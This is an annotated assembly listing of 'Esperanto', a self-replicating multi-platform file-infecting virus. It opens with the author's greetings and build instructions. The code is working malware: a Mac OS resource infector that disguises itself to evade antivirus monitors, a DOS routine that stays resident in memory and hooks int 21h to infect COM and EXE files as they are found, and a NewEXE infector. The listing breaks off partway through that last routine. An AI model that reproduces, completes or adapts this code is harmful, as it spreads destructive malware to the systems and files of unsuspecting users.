;
; 5. Greetings
; ÄÄÄÄÄÄÄÄÄÄÄÄ
; I would like to thank Jacky Qwerty very especially for his big help in the
; Win32 module (as well as in some stupid bugs) :) I wouldn't have been able
; to write the Win32 module without him. What can i say man... thank you ve-
; ry much, you rock ;) Also very special thanks to GriYo, who provided to me
; as well as Jacky very valuable information and code about PE infection un-
; der Win32, when we all (Jacky, GriYo and i) were working on the subject.
;
; A very special greeting also for Vecna, who is nowadays doing the military
; service in Brazil, his country... i'll never forget what you said about my
; virus, we all miss you and hope to see you soon, friend :)
;
; Btw, Guillermito... what about your "virus of the year" contest? ;)
;
;
; 6. Compiling it
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Don't even think on trying to compile the source code below. To do it, you
; should first separate three of the four modules, compile each of them with
; a different mode and/or compiler, and then put again the whole stuff toge-
; ther into one only file, keeping the data area untouched and having to mo-
; dify *every* pointer to it in the viral code.
;
; Better to use the already compiled binary provided by us, right? :) Anyway
; these are the compiling modes, for those of you who are curious about what
; did i use for compiling Esperanto. Btw, the compiler for the Mac OS module
; was CodeWarrior (i had to insert the ASM code inside a C source).
;
;
; DOS+Windows 3.1x modules
;
; tasm /m espodos.asm
; tlink espodos.obj
; exe2bin espodos.exe espodos.com
;
; Win32 module
;
; tasm32 -ml -m5 -q -zn espow32.asm
; tlink32 -Tpe -c -x -aa espow32.obj,,, import32.lib
; pewrsec espow32.exe
.model tiny
.code
org 0
; Í͹ Absolute virus start ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
.386 ; Intel 80386 real mode
espo_start label byte ; Define virus start
espo_mem_size equ espo_mem_end-espo_start ; Define size in memory
espo_file_size equ espo_file_end-espo_start ; Define size in file
reloc_size equ reloc_end-reloc_start ; Relocation size (NE)
dseta_offset equ dseta_byte-espow32_start ; Dseta-offset size
text_size equ text_end-text_start ; Size of payload text
base_default equ 400000h ; Base default address
; ÄÄ´ Universal entry ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;
; Note: this is the entry point for infected COM, EXE and Mac OS files. If
; the following instruction is executed in an Intel processor, it will jmp
; to the real entry for COM and EXE files. Otherwise (when running under a
; Motorola or PowerPC processor) it will be interpreted and executed as if
; it were plain data, thus being able to reach the real entry for infected
; Mac OS applications, which starts with a branch to the definitive entry.
com_exe_entry: jmp real_ce_entry ; Jumps only in PCs
; Í͹ Mac OS module ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
espo_header: bra.s mac_os_entry ; Jump to virus code
dc.w #$0 ; Header gaps for later
dc.l #'MDEF' ; initialization in the
dc.l #$0 ; jump table built by
dc.l #$0 ; the Mac OS Finder
; ÄÄ´ Entry point for Mac OS applications ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
mac_os_entry: lea espo_header,a0 ; Copy our code location
move.l a0,$9ce ; to $9ce (ToolScratch)
bra espo_body ; for later reference
espo_body: link a6,#-$24 ; Link code address
movem.l d4-d7/a2-a4,-(sp) ; Push in our registers
move.l $14(a6),d5 ; Use d5 as ëelta-offset
movea.l #$a25,a3 ; In $a25 (MenuFlash),
move.b (a3),d0 ; look for our action
ext.w d0 ; code (3) in order to
subq.w #$3,d0 ; know if our code is
beq infect_mac_os ; already active or not
move.b #$3,(a3) ; Else switch the flag
clr.w d7 ; on as we're going to
moveq #$2,d6 ; run or handling code
check_offset: tst.w d7 ; Look for our resident
bne search_loop ; code thru the memory
movea.l d6,a3 ; Code apparently found
move.b (a3),d0 ; Now check for our
ext.w d0 ; header and identifiers
cmpi.w #'M',d0 ; Is it an 'M'?
bne.s search_loop ; Keep on searching
move.l a3,d0 ; First byte is an 'M'
addq.l #$1,d0 ; Now check the 2nd one
movea.l d0,a0 ; Move address+1 to a0
move.b (a0),d0 ; Move second byte to d0
ext.w d0 ; Extend d0
cmpi.w #'D',d0 ; Is it a 'D'?
bne.s search_loop ; Keep on searching
move.l a3,d0 ; Base address to d0
addq.l #$2,d0 ; Checking 3rd byte...
movea.l d0,a0 ; Move the address to a0
move.b (a0),d0 ; Move the byte to d0
ext.w d0 ; Extend d0
cmpi.w #'E',d0 ; Is it an 'E'?
bne.s search_loop ; Keep on searching
move.l a3,d0 ; Base address to d0
addq.l #$3,d0 ; Let's check 4th byte
movea.l d0,a0 ; Move its address to a0
move.b (a0),d0 ; Move 4th byte to d0
ext.w d0 ; Extend d0
cmpi.w #'F',d0 ; Is it an 'F'?
bne.s search_loop ; Keep on searching
move.l a3,d0 ; Restore address in d0
addq.l #$4,d0 ; d0+$4=5th byte to see
movea.l d0,a0 ; Move its address to a0
move.b (a0),d0 ; Move 5th byte to d0
ext.w d0 ; Extend d0
cmpi.w #$67,d0 ; Check for Esperanto
bne.s search_loop ; resource first ID
move.l a3,d0 ; Base address in d0
addq.l #$5,d0 ; Checking 6th byte
movea.l d0,a0 ; Move its address to a0
move.b (a0),d0 ; Move the byte to d0
ext.w d0 ; Extend d0
cmpi.w #$26,d0 ; Check for the 2nd ID
bne.s search_loop ; Wrong ID, search again
move.l a3,d0 ; Get the address for
addq.l #$6,d0 ; the 7th and last byte,
movea.l d0,a0 ; which has to be our
move.b (a0),d0 ; 3rd resource ID ($0c)
ext.w d0 ; Extend d0
cmpi.w #$0c,d0 ; Everything ok?
bne.s search_loop ; Wrong, how bad luck :(
move.b #'W',(a3) ; Change MDEF to WDEF to
moveq #$1,d7 ; fool some AV watchdogs
search_loop: addq.l #$1,d6 ; and to limit too fast
cmpi.l #$30d40,d6 ; infection, as WDEF is
ble check_offset ; a less called resource
; ÄÄ´ Mac OS applications infection routine ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
infect_mac_os: subq.w #$4,sp ; Empty stack (4 bytes)
move.l #'CODE',-(sp) ; Push the resource name
clr.w -(sp) ; we're looking for and
_GetResource ; clear the stack
movea.l (sp)+,a4 ; Move address to a4
subq.w #$2,sp ; Empty stack (2 bytes)
move.l a4,-(sp) ; Push 'CODE' address
_HomeResFile ; Home resource file
move.w (sp)+,d4 ; Move address to d4
subq.w #$2,sp ; Empty stack (2 bytes)
_CurResFile ; Current resource file
move.w (sp)+,d7 ; Move address to d7
subq.w #$4,sp ; Empty stack (4 bytes)
move.l #'MDEF',-(sp) ; Move the resource name
move.w #$espo_file_size,-(sp) ; we're looking for
_GetResource ; (Try to) get it
movea.l (sp)+,a4 ; Move address to a4
move.l a4,d0 ; Does it exist?
bne.s new_mdef ; Go and create it
subq.w #$4,sp ; Empty stack (4 bytes)
move.l #'MDEF',-(sp) ; Move resource name
pea first_tab ; Move identifier
_GetNamedResource ; Get MDEF address
movea.l (sp)+,a2 ; Move its address to a2
move.l a2,-(sp) ; Push it onto the stack
_DetachResource ; Detach resource
clr.w -(sp) ; Clear the stack
_UseResFile ; Use the MDEF resource
subq.w #$4,sp ; Empty stack (4 bytes)
move.l #'MDEF',-(sp) ; Move the resource name
clr.w -(sp) ; Clear one word
_GetResource ; Open the MDEF resource
movea.l (sp)+,a4 ; Move handle to a4
move.l a4,-(sp) ; Push it into the stack
move.w #$espo_file_size,-(sp) ; Move our identifier
pea name_only ; And push the name tab
_SetResInfo ; Set resource new info
move.l a4,-(sp) ; Move handle into stack
_ChangedResource ; Resource has changed
move.l a4,-(sp) ; Move handle into stack
_WriteResource ; Write a new MDEF res.
move.l a2,-(sp) ; Stack original address
move.l #'MDEF',-(sp) ; Stack resource name
clr.w -(sp) ; Clear one word
pea second_tab ; Viral res.ID string
_AddResource ; Add new resource
clr.w -(sp) ; Clear one word
_UpdateResFile ; Update resource file
subq.w #$4,sp ; Empty stack (4 bytes)
move.l #'MDEF',-(sp) ; Now open again the
move.w #$espo_file_size,-(sp) ; MDEF resource in order
_GetResource ; to complete infection
movea.l d5,a0 ; Move our delta to a0
movea.l (a0),a0 ; Move 1st byte to a0
move.l (sp)+,$6(a0) ; Move MDEF address to
move.w d7,-(sp) ; a0+$6 and use the CODE
_UseResFile ; resource (addr.in d7)
bra calc_new_size ; Calculate new size
new_mdef: movea.l d5,a0 ; Move ëelta to a0
move.l (a0),a0 ; Move 1st byte to a0
move.l a4,$6(a0) ; Move address for MDEF
clr.w -(sp) ; to a0+$6 and call
_UseResFile ; UseResFile function
subq.w #$4,sp ; Empty stack (4 bytes)
move.l #'MDEF',-(sp) ; Move resource name
clr.w -(sp) ; Clear one word
_Get1Resource ; Get a new resource
movea.l (sp)+,a2 ; Move its address to a2
move.l a2,-(sp) ; Push a2 into the stack
_DetachResource ; Detach the new resource
move.w d4,-(sp) ; Use current resource
_UseResFile ; file previously stored
subq.w #$4,sp ; Empty stack (4 bytes)
move.l #'MDEF',-(sp) ; Move resource name
clr.w -(sp) ; Clear one word
_Get1Resource ; Get the new resource
movea.l (sp)+,a4 ; Move address to a4
move.l a4,d0 ; Is this address busy?
bne.s address_used ; Branch if so
move.l a2,-(sp) ; Stack resource address
move.l #'MDEF',-(sp) ; Move resource name
clr.w -(sp) ; Clear one word
pea second_tab ; Resource identifier
_AddResource ; Add new resource
subq.w #$2,sp ; Empty stack (2 bytes)
_CurResFile ; Current resource file
_UpdateResFile ; Update resource file
bra.s calc_new_size ; Calculate new size
address_used: move.w d7,-(sp) ; Use current resource
_UseResFile ; file previously stored
subq.w #$4,sp ; Empty stack (4 bytes)
move.l #'MDEF',-(sp) ; Move resource name
clr.w -(sp) ; Clear one word
_Get1Resource ; Get one resource
movea.l (sp)+,a4 ; Move its address to a4
move.l a4,d0 ; Compare it again
bne.s calc_new_size ; Branch if not equal
move.l a2,-(sp) ; Stack resource address
move.l #'MDEF',-(sp) ; Move resource name
clr.w -(sp) ; Clear one word
pea second_tab ; Resource ID string
_AddResource ; Add new resource
subq.w #$2,sp ; Empty stack (2 bytes)
_CurResFile ; Current resource file
_UpdateResFile ; Update resource file
calc_new_size: move.l d5,-(sp) ; Move delta into stack
_CalcMenuSize ; Calculate new menu size
movem.l (sp)+,d4-d7/a2-a4 ; Restore used registers
unlk a6 ; Unlink code address
movea.l (sp)+,a0 ; Move original address
lea $12(sp),sp ; to a0, restore stack
jmp (a0) ; and jump back to it
dc.l #'MAIN' ; Main code module
dc.w #$2020 ; Pre-initialized gaps
dc.w #$2020 ; for Mac OS Finder
; ÄÄ´ Data area for Mac OS module ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
first_tab: dc.w #$16 ; For _GetNamedResource
second_tab: dc.b #$7 ; For _AddResource
name_only: dc.l #'Esperanto' ; For _SetResInfo
; Í͹ DOS runtime module ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
real_ce_entry: call delta_offset ; Get ë-offset in BP in
delta_offset: pop bp ; the traditional and
sub bp,offset delta_offset ; always effective way :)
push es cs ; Segment push/popping
pop ds ; for l8r use in our code
mov ax,':)' ; Residency check
int 21h ; Are we home?
cmp ax,';)' ; Winky smiley, we are
je work_done ; already resident...
go_mem_res: mov ax,es ; Residency routine
dec ax ; Get our host's MCB
mov ds,ax ; segment and point its
xor di,di ; start with DI
cmp byte ptr ds:[di],'Y' ; Is it a Z block?
jna work_done ; Exit if it is not
sub word ptr ds:[di+3],((espo_mem_size/10h)+2)
sub word ptr ds:[di+12h],((espo_mem_size/10h)+2)
add ax,word ptr ds:[di+3]
inc ax ; Get a new MCB segment
; for the viral code
mov ds,ax
mov byte ptr ds:[di],'Z' ; Mark it as a Z block
mov word ptr ds:[di+1],8 ; And as a system block
mov word ptr ds:[di+3],((espo_mem_size/10h)+1)
mov dword ptr ds:[di+8],00534f44h ; Owner ID -> DOS
inc ax
cld ; Clear direction flag
push cs ; Point with CS and DS
pop ds ; to the code running now
mov es,ax ; ES = virus segment
mov cx,espo_file_size ; CX = virus size
mov si,bp ; SI = virus start
rep movsb ; Copy virus to memory
push es ; Now jump to our copy
push offset copy_vector ; in memory so we don't
retf ; have to use ë-offset
copy_vector: push ds ; Save DS in the stack
mov ds,cx ; DS = CX = 0 -> IVT
mov si,21h*4 ; Point int 21h vector
lea di,old_int_21h ; Point our storage
movsd ; Store old vector
mov word ptr [si-4],offset new_int_21h
mov word ptr [si-2],ax
pop ax ; Once we've set the
mov ds,ax ; new int 21h vector,
mov es,ax ; check out our host
work_done: cmp byte ptr ds:[bp+file_flag],'C' ; Is our host a COM?
je restore_com ; Yes, restore it
restore_exe: pop es ; In case it's an EXE
mov ax,es ; file, get PSP segment
add ax,10h ; and adjust it to
add word ptr ds:[bp+exe_cs],ax ; execute our host code
cli ; Clear interrupts
mov sp,word ptr ds:[bp+exe_sp] ; Set new SP
add ax,word ptr ds:[bp+exe_ss] ; Get SS and add to it
mov ss,ax ; the PSP+10h value
sti ; Set interrupts
xor ax,ax ; Set the value of all
xor bx,bx ; these registers to 0
xor cx,cx ; so it seems that
cwd ; nothing has happened
xor si,si ; and we've not been
xor di,di ; here infecting :)
push word ptr ds:[bp+exe_cs] ; Push initial segment
push word ptr ds:[bp+exe_ip] ; Push initial offset
xor bp,bp ; And jump into there!
retf
restore_com: lea si,[bp+old_com_header] ; Point to the buffer
mov di,100h ; in which we've stored
push ds di ; the original COM header
movsd ; and copy it (5 bytes)
movsb ; to its entrypoint
retf ; Jump to CS:IP
; Í͹ Windows 3.1x module ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
newexe_entry: pusha ; Push our registers
push ds es ; And save segments
mov ax,0ah ; Get a writable alias
mov bx,cs ; selector of CS in AX
int 31h ; and move it to DS
mov ds,ax
mov byte ptr ds:[file_or_mem],'F' ; Runtime infection
mov ah,4eh ; Find first file
find_more_com: xor cx,cx ; No special attribs
mov byte ptr ds:[inf_counter],cl ; inf_counter = 0
lea dx,ds:[com_wildcard] ; Look for COM files
int 21h ; to infect only in
jc other_search ; current directory
mov ah,2fh ; Get DTA address in
int 21h ; ES:BX and point to it
add bx,1eh ; BX+1eh -> filename
xchg dx,bx ; ES:DX -> filename
mov byte ptr ds:[file_flag],'C' ; Switch the COM flag on
jmp check_com ; And jump for it!
other_search: mov ah,4eh ; Now let's look for
find_more_exe: xor cx,cx ; EXE files (only in the
lea dx,ds:[exe_wildcard] ; current directory) as
int 21h ; there are not more
jc restore_ne ; COM files to infect
mov
ah,2fh ; Get DTA address in
int 21h ; ES:BX and point to it
add bx,1eh ; BX+1eh -> filename
xchg dx,bx ; ES:DX -> filename
mov byte ptr ds:[file_flag],'E' ; Switch the EXE flag on
jmp check_exe ; And jump for it!
restore_ne: pop es ds ; Pop our segments and
popa ; reggs from the stack
db 0eah ; jmp xxxx:xxxx
newexe_ip dw ? ; Original offset
newexe_cs dw 0ffffh ; Original segment
; Í͹ DOS memory resident module ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
new_int_21h: cmp ax,':)' ; Our residency check?
jne more_checks ; Nope, more checks...
inc ah ; Turn ":)" into ";)"
iret ; Interrupt return
more_checks: cmp ah,4eh ; Find first file?
je findfirst ; Yes, it's our time!
cmp ah,4fh ; Find next file?
je findnext ; Our time again! :)
return_to_int: db 0eah ; jmp xxxx:xxxx
old_int_21h dw ?,? ; Original int 21h
; ÄÄ´ Findfirst (4eh) service ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
findfirst: pusha ; Push'em onto the stack
push es cs ; Push ES as well so we
pop es ; now change it to CS
cld ; Clear direction flag
mov si,dx ; DS:DX/SI -> filename
lea di,filename ; ES:DI -> name buffer
mov word ptr cs:[file_offset],di ; Filename offset
get_path: lodsb ; Load a byte of path
or al,al ; The end of the path?
je no_more_path ; Jump if so to work...
stosb ; Store it in the buffer
cmp al,':' ; Possible end of path?
je update_offset ; Then update offset
cmp al,'\' ; Possible end of path?
jne get_path ; Update filename offset
update_offset: mov word ptr cs:[file_offset],di ; New filename offset
jmp get_path ; Get more characters
no_more_path: pop es ; Restore ES from stack
popa ; And the other registers
; ÄÄ´ Findnext (4fh) service ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
findnext: pushf ; Push flags in the stack
call dword ptr cs:[old_int_21h] ; Call original int 21h
pushf ; Push flags again
pusha ; Now push registers
push ds es ; And now segments
lets_work: cld ; Clear direction flag
mov ah,2fh ; Get Disk Transfer Area
int 21h ; (DTA) in ES:BX
mov di,word ptr cs:[file_offset] ; DI -> filename offset
mov si,bx ; Now point with DS:SI
add si,1eh ; to the name in DTA
push cs es ; New DS = old ES
pop ds es ; New ES = old CS
get_name: lodsb ; Load byte from DS:SI
stosb ; And store it in ES:DI
cmp al,'.' ; Look for extension
jne not_a_dot ; Have we reached it?
mov word ptr cs:[dot_xy],di ; Then store its offset
not_a_dot: or al,al ; End of filename?
jne get_name ; Keep on getting it
push cs ; Push CS and pop DS
pop ds ; so they're the same
lea dx,filename ; DS:DX -> filename
mov di,word ptr ds:[dot_xy] ; DS:DI -> extension
mov byte ptr cs:[file_or_mem],'M'
cmp word ptr ds:[di],'XE' ; Is it an EXE file?
je check_exe ; Seems so...
cmp word ptr ds:[di],'OC' ; Maybe a COM file?
jne pop_and_leave ; If not, pop and leave
; ÄÄ´ COM files check routine ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
check_com: push ds es ; DS = ES (to open files
pop ds ; in DS:DX and ES:DX)
mov ax,3d02h ; Open the file we've
int 21h ; found in DS:DX (from
xchg bx,ax ; memory) or ES:DX (from
pop ds ; the runtime infection)
call system_checks ; Do some checks in
or ah,ah ; order to know if we
jz close_and_pop ; may infect the file
mov ah,3fh ; Read its first five
mov cx,5 ; bytes to our buffer
lea dx,old_com_header ; and check if the file
int 21h ; is already infected
cmp word ptr ds:[old_com_header+3],');'
je close_and_pop ; File is infected
call lseek_end ; Now check its size
cmp ax,(0fc17h-espo_file_size) ; 65535-virus-1000
jae close_and_pop ; Is it is too large?
cmp ax,(espo_file_size+3e8h) ; And now see if it's
jbe close_and_pop ; too small (virus+1000)
; ÄÄ´ COM files infection routine ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
infect_com: mov byte ptr ds:[file_flag],'C' ; Set the COM flag in
inc byte ptr ds:[inf_counter] ; Increment the counter
push ax ; AX -> filesize
mov ah,40h ; Append our code to
mov cx,espo_file_size ; the file we're about
lea dx,espo_start ; to infect, leaving
int 21h ; out the data buffers
pop ax ; Filesize in AX
sub ax,3 ; Calcul8 the new jmp
mov word ptr ds:[new_com_header+1],ax ; And write it
call lseek_start ; Lseek to the start
mov ah,40h ; And now write our new
mov cx,5 ; header -0e9h,?,?,;)-
lea dx,new_com_header ; which jumps straight
int 21h ; to the viral code
close_and_pop: mov ah,3eh ; Close the file we've
int 21h ; just infected
pop_and_leave: cmp byte ptr ds:[file_or_mem],'M' ; Memory infection?
je memory_exit ; Yes, jump back to it
cmp byte ptr ds:[inf_counter],3 ; Have we reached the
je restore_ne ; infection limit?
mov ah,4fh ; If not, look for more
cmp byte ptr ds:[file_flag],'C' ; files to infect, both
je find_more_com ; EXE and COM, depending
jmp find_more_exe ; on their availability
memory_exit: pop es ds ; Jump back to the int
popa ; 21h handler and keep
popf ; on intercepting 4eh
retf 2 ; and 4fh to infect
; ÄÄ´ EXE files check routine ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
check_exe: push ds es ; DS = ES (to open files
pop ds ; in DS:DX and ES:DX)
mov ax,3d02h ; Open the file we've
int 21h ; found in DS:DX (from
xchg bx,ax ; memory) or ES:DX (from
pop ds ; the runtime infection)
call system_checks ; Do some checks in
or ah,ah ; order to know if we
jz close_and_pop ; may infect the file
mov ah,3fh ; Read its first 41h
mov cx,41h ; bytes into our read
lea dx,old_exe_header ; buffer and point it
mov si,dx ; with DS:DX and DS:SI
int 21h
mov ax,word ptr ds:[si] ; First word in AX
add ah,al ; Add the 2 first bytes
cmp ah,'M'+'Z' ; And check for the MZ
jne close_and_pop ; mark (DOS EXE files)
cmp word ptr ds:[si+12h],');' ; Have we already
je close_and_pop ; infected the file?
cmp word ptr ds:[si+1ah],0 ; We don't like evil
jne close_and_pop ; overlays :P
cmp word ptr ds:[si+1eh],'KP' ; Nor PkLited EXE files,
je close_and_pop ; they plainly suck
call lseek_end ; Lseek to the end of
cmp ax,(espo_file_size+3e8h) ; the file and check if
jbe close_and_pop ; it's too small for us
cmp byte ptr ds:[si+18h],40h ; Is it a WinXX file?
je check_winexe ; Yep, go for it!
; ÄÄ´ EXE files infection routine ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
infect_exe: mov byte ptr ds:[file_flag],'E' ; Set the EXE flag in
inc byte ptr ds:[inf_counter] ; Increment the counter
push ax dx ; DX:AX -> file size
mov cx,10h ; CX -> paragraph size
div cx ; Now divide the length
sub ax,word ptr ds:[si+8] ; Header size in paras
add dx,offset com_exe_entry ; Add the entry offset
push ax ; AX = new EXE CS
xchg word ptr ds:[si+16h],ax ; Exchange the values
mov word ptr ds:[exe_cs],ax ; Save old EXE CS
pop ax ; Restore AX from stack
push dx ; DX = new EXE IP
xchg word ptr ds:[si+14h],dx ; Exchange the values
mov word ptr ds:[exe_ip],dx ; Save old EXE IP
pop dx ; Restore DX from stack
add dx,offset espo_file_end+320h ; Add 320h to the virus
and dl,0feh ; size in order to set SP
xchg word ptr ds:[si+0eh],ax ; Exchange the values
mov word ptr ds:[exe_ss],ax ; And save old EXE SS
xchg word ptr ds:[si+10h],dx ; Exchange the values
mov word ptr ds:[exe_sp],dx ; And save old EXE SP
pop dx ax ; DX:AX -> file size
add ax,espo_file_size ; Add virus size to AX
adc dx,0 ; And add with carry
mov cx,200h ; CX -> page size
div cx ; Divide the length
inc ax ; Increment one page
mov word ptr ds:[si+2],dx ; Bytes in last page
mov word ptr ds:[si+4],ax ; Pages in EXE file
mov word ptr ds:[si+12h],');' ; Set our own mark
mov ah,40h ; Append our code to
mov cx,espo_file_size ; the end of the EXE
lea dx,espo_start ; file we've almost
int 21h ; infected :P
call lseek_start ; Lseek to start
mov ah,40h ; And now write the
mov cx,1ch ; new header with the
mov dx,si ; updated pointers
int 21h ; instead of the old one
go_away: jmp close_and_pop ; Close file and exit
; ÄÄ´ NewEXE files check routine ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
check_winexe: lea di,winexe_data ; Point to our buffer
mov ax,word ptr ds:[si+3ch] ; Save the pointer to
mov word ptr ds:[di],ax ; the new EXE header
mov word ptr ds:[si+12h],');' ; Set our infection mark
sub word ptr ds:[si+3ch],8 ; Substract a quadword
cmp word ptr ds:[si+3eh],0 ; Enough room for us?
jne go_away ; Oops... shit... :(
call lseek_start ; Lseek to start
mov ah,40h ; Write in the changes
mov cx,40h ; we've just made in
mov dx,si ; the pointers of the
int 21h ; MZ header of the file
mov dx,word ptr ds:[di] ; Lseek to the new EXE
call lseek_middle ; header (MZ+[3ch])
mov ah,3fh ; Read 200h bytes from
mov cx,200h ; the start of the new
mov dx,si ; EXE file to our buffer
int 21h ; and point to it
cmp word ptr ds:[si],'EP' ; Is it a PE file?
je check_pe ; Go and eat it!
cmp word ptr ds:[si],'EN' ; Maybe a NewEXE file?
jne bad_winexe ; Argh! that's bad luck
cmp word ptr ds:[si+36h],802h ; Does it have gangload
je infect_newexe ; area? good to know ;)
call lseek_start ; Lseek to start of the
bad_winexe: mov ah,3fh ; file and read again
mov cx,41h ; the MZ header because
mov dx,si ; we have to remodify it
int 21h
add word ptr ds:[si+3ch],8 ; Update the pointer to
call lseek_start ; the new EXE header
mov ah,40h ; And rewrite the MZ
mov cx,40h ; header, stored in our
mov dx,si ; read buffer (pointed
int 21h ; by DS:DX and DS:SI)
jmp close_and_pop ; Close file and exit
; ÄÄ´ NewEXE files infection routine ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
infect_newexe: inc byte ptr ds:[inf_counter] ; Increment the counter
mov ax,word ptr ds:[si+22h] ; Distance to seg.table
mov dx,8 ; Value we have to add
cmp word ptr ds:[si+4],ax ; to the pointers which
jb first_ok ; are equal to AX
add word ptr ds:[si+4],dx ; Update first pointer
first_ok: mov cx,4 ; 4 pointers to update
push si ; Push SI onto stack
add si,24h ; Now go for the rest
update_ptrs: cmp word ptr ds:[si],ax ; Pointer below AX?
jb dont_add ; Don't add 8 to it
add word ptr ds:[si],dx ; Update the pointer
dont_add: inc si ; I know i could have
inc si ; optimized this, but
loop update_ptrs ; who cares :P
pop si ; Pop SI from stack
mov ax,word ptr ds:[si+1ch] ; AX -> segment counter
inc word ptr ds:[si+1ch] ; Increment counter
mov cx,dx ; CX = DX = 8
cwd ; Now set DX to 0
mov byte ptr ds:[si+37h],dl ; EXE flags = 0
mov word ptr ds:[si+38h],dx ; Kill gangload area
mov word ptr ds:[si+3ah],dx ; for compatibility
mul cx ; Multiply AX*CX
add ax,word ptr ds:[si+22h] ; Ptr to segment table
mov cx,200h ; CX -> page size
adc dx,0 ; Add with carry to DX
div cx ; Divide the length
mov word ptr ds:[di+3],ax ; Move to newexe_size
mov word ptr ds:[di+5],dx ; Move to last_newexe
mov ax,offset newexe_entry ; Offset of the NE entry
xchg ax,word ptr ds:[si+14h] ; Exchange the values
mov word ptr ds:[old_ne_ip],ax ; Store old NE IP
mov ax,word ptr ds:[si+1ch] ; Nr.of segments in NE
xchg ax,word ptr ds:[si+16h] ; Exchange the values
mov word ptr ds:[old_ne_cs],ax ; Store old NE CS
mov al,byte ptr ds:[si+32h] ; Get file alignment
mov byte ptr ds:[di+2],al ; shift count in AL
mov ax,word ptr ds:[di] ; Offset of NE header
mov word ptr ds:[di+7],ax ; in AX and lseek_newexe
move_forward: mov ax,word ptr ds:[di+3] ; Get newexe_size value
or ax,ax ; in AX and check if it
jz last_page ; is equal to zero
dec word ptr ds:[di+3] ; Decrement newexe_size
mov dx,word ptr ds:[di+7] ; Now lseek to [3ch]-8
sub dx,8 ; in order to shift the
call lseek_middle ; required objects
mov ah,40h ; Write one page which
mov cx,200h ; contains the NE header
add word ptr ds:[di+7],cx ; in [3ch]-8 in order to
mov dx,si ; shift the 1st object
int 21h
push cx ; CX -> one page size
mov dx,word ptr ds:[di+7] ; Now lseek to the end
call lseek_middle ; of the *new* NE header
mov ah,3fh ; Read a new page from
pop cx ; current offset to our
mov dx,si ; buffer, pointed both
int 21h ; by DS:DX and DS:SI
jmp move_forward ; And go shift it
last_page: call lseek_end ; Lseek to the bottom
mov cl,byte ptr ds:[di+2] ; Get align_shift in CL
push bx ; Push file handle
mov bx,1 ; And now shift segment
shl bx,cl ; offset by segment
mov cx,bx ; alignment (shl -> CX)
pop bx ; Pop file handle
div cx ; And divide AX:CX
mov word ptr ds:[di+9],0 ; Set lseek_add = 0
or dx,dx ; Is DX also zero?
jz no_extra ; Yes, no extra page
sub cx,dx ; Substract DX from CX
mov word ptr ds:[di+9],cx ; Move it to lseek_add
inc ax ; And increment AX
no_extra: push di ; Push DI onto stack
mov di,si ; Now DS:SI = DS:DI
add di,word ptr ds:[last_newexe] ; DS:DI+last_newexe
mov word ptr ds:[di],ax ; Segment offset
mov word ptr ds:[di+2],espo_file_size ; Segment size
mov word ptr ds:[di+4],180h ; Segment attribs
mov word ptr ds:[di+6],espo_file_size+400h ; Bytes to
pop di ; allocate
mov dx,word ptr ds:[di+7] ; Lseek to the offset
sub dx,8 ; where we have to
call lseek_middle ; write this last page
mov ah,40h ; Write it in, its
mov cx,word ptr ds:[di+5] ; size is specified
add cx,8 ; in (last_newexe)+8
mov dx,si ; Point to the buffer
int 21h ; And do it :P
xor cx,cx ; Set the NewEXE IP
xchg word ptr ds:[newexe_ip],cx ; to zero, exchange it
push cx ; and push old value
xor cx,cx ; And now set the
dec cx ; NewEXE CS to 0ffffh
xchg word ptr ds:[newexe_cs],cx ; Exchange the values
push cx ; And push it for l8r
mov ax,4202h ; Lseek to our final
xor cx,cx ; destination place
mov dx,word ptr ds:[di+9] ; in the NewEXE file
int 21h
